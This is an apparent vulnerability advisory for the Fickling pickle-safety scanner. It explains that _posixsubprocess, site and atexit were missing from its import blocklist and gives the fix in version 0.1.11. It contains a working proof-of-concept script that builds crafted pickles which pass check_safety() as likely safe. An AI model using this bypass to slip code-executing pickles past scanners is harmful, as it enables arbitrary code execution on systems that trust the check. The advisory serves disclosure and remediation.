PYSEC-2026-2149: Fickling safety checks can miss dangerous standard-library imports
Analysis
The fix adds posixsubprocess, site and atexit to the blocklist (https://github.com/trailofbits/fickling/commit/e8408615b63adf034f891f653692ab9b51f0f5af).
Original report
posixsubprocess, site, and atexit are missing from UNSAFEIMPORTS in fickle.py. This shares the same root cause as CVE-2026-22607 and GHSA-5cxw-w2xg-2m8h.
posixsubprocess.forkexec: C-level process spawner. checksafety() returns LIKELYSAFE with 0 findings on 0.1.10.
OvertlyBadEvals skips them because they're in likelysafeimports (stdlib). UnsafeImports doesn't catch them because they're not in the denylist. SETITEMS pattern defeats UnusedVariables.
PoC (tested against 0.1.10 from PyPI):
#!/usr/bin/env python3
import sys
from fickling.analysis import checksafety from fickling.fickle import UNSAFEIMPORTS, Pickled import fickling.fickle as op
BYPASSTARGETS = [ { "module": "posixsubprocess", "function": "forkexec", "impact": "C-level fork/exec — spawns arbitrary child processes", }, { "module": "site", "function": "execsitecustomize", "impact": "Executes arbitrary site customization code at interpreter startup", }, { "module": "atexit", "function": "runexitfuncs", "impact": "Triggers all registered atexit callbacks", }, ]
def buildpayload(module: str, function: str) -> Pickled: return Pickled([ op.Proto.create(4), op.ShortBinUnicode(module), op.ShortBinUnicode(function), op.StackGlobal(), op.ShortBinUnicode("/etc/passwd"), op.TupleOne(), op.Reduce(), op.Memoize(), op.EmptyDict(), op.ShortBinUnicode("init"), op.ShortBinUnicode("x"), op.SetItem(), op.Mark(), op.ShortBinUnicode("trace"), op.BinGet(0), op.SetItems(), op.Stop(), ])
def main(): print(f"Fickling Safety Bypass PoC") print(f"UNSAFEIMPORTS denylist size: {len(UNSAFEIMPORTS)} modules") print(f"{'=' 72}\n")
allpassed = True
for target in BYPASSTARGETS: module = target["module"] function = target["function"] label = f"{module}.{function}"
indenylist = module in UNSAFEIMPORTS pickled = buildpayload(module, function) results = checksafety(pickled)
bypassed = results.severity.name == "LIKELYSAFE" and len(results.results) == 0
print(f"Target: {label}") print(f" In UNSAFEIMPORTS: {indenylist}") print(f" checksafety(): {results.severity.name} ({len(results.results)} findings)") print(f" Impact: {target['impact']}") print(f" Status: {'BYPASS CONFIRMED' if bypassed else 'DETECTED'}") print()
if not bypassed: allpassed = False
print(f"{'=' 72}") if allpassed: print(f"RESULT: {len(BYPASSTARGETS)}/{len(BYPASSTARGETS)} targets bypass checksafety()") print(f" fickling.load() would execute all payloads after returning LIKELYSAFE") else: print(f"RESULT: Some targets were detected. Check fickling version.")
return 0 if allpassed else 1
if name == "main": sys.exit(main())
Affected Software
Remediation
Recommended actions to resolve this vulnerability, in priority order.
- Upgrade
Upgrade
pip/ficklingto a version that resolves this vulnerability.Fixed in 0.1.11 - Upgrade
Upgrade to a fixed release to a version that resolves this vulnerability.
Patch e8408615b63adf034f891f653692ab9b51f0f5af
Event History
Frequently Asked Questions
Which deployments are most exposed to this issue?
Deployments that use Fickling's check_safety() result to decide whether to accept or process untrusted pickle data are exposed. The reported bypass was tested against Fickling 0.1.10 from PyPI.
What does an attacker need to exploit the bypass?
An attacker needs to provide a crafted pickle that invokes _posixsubprocess.fork_exec, site.execsitecustomize, or atexit._run_exitfuncs. These imports were treated as standard-library imports and were not caught by the relevant denylist checks.
How can I tell whether my safety checks are bypassable?
On the reported affected version, check_safety() can return LIKELY_SAFE with zero findings for a crafted payload using these imports. Review whether your installation includes _posixsubprocess, site, and atexit in UNSAFE_IMPORTS; the referenced fix adds them to the blocklist.
What should I do if I cannot immediately apply the fix?
Do not rely solely on a LIKELY_SAFE result when evaluating untrusted pickle files. Block or otherwise reject pickle payloads that reference _posixsubprocess, site, or atexit, especially the reported fork_exec, execsitecustomize, and _run_exitfuncs functions.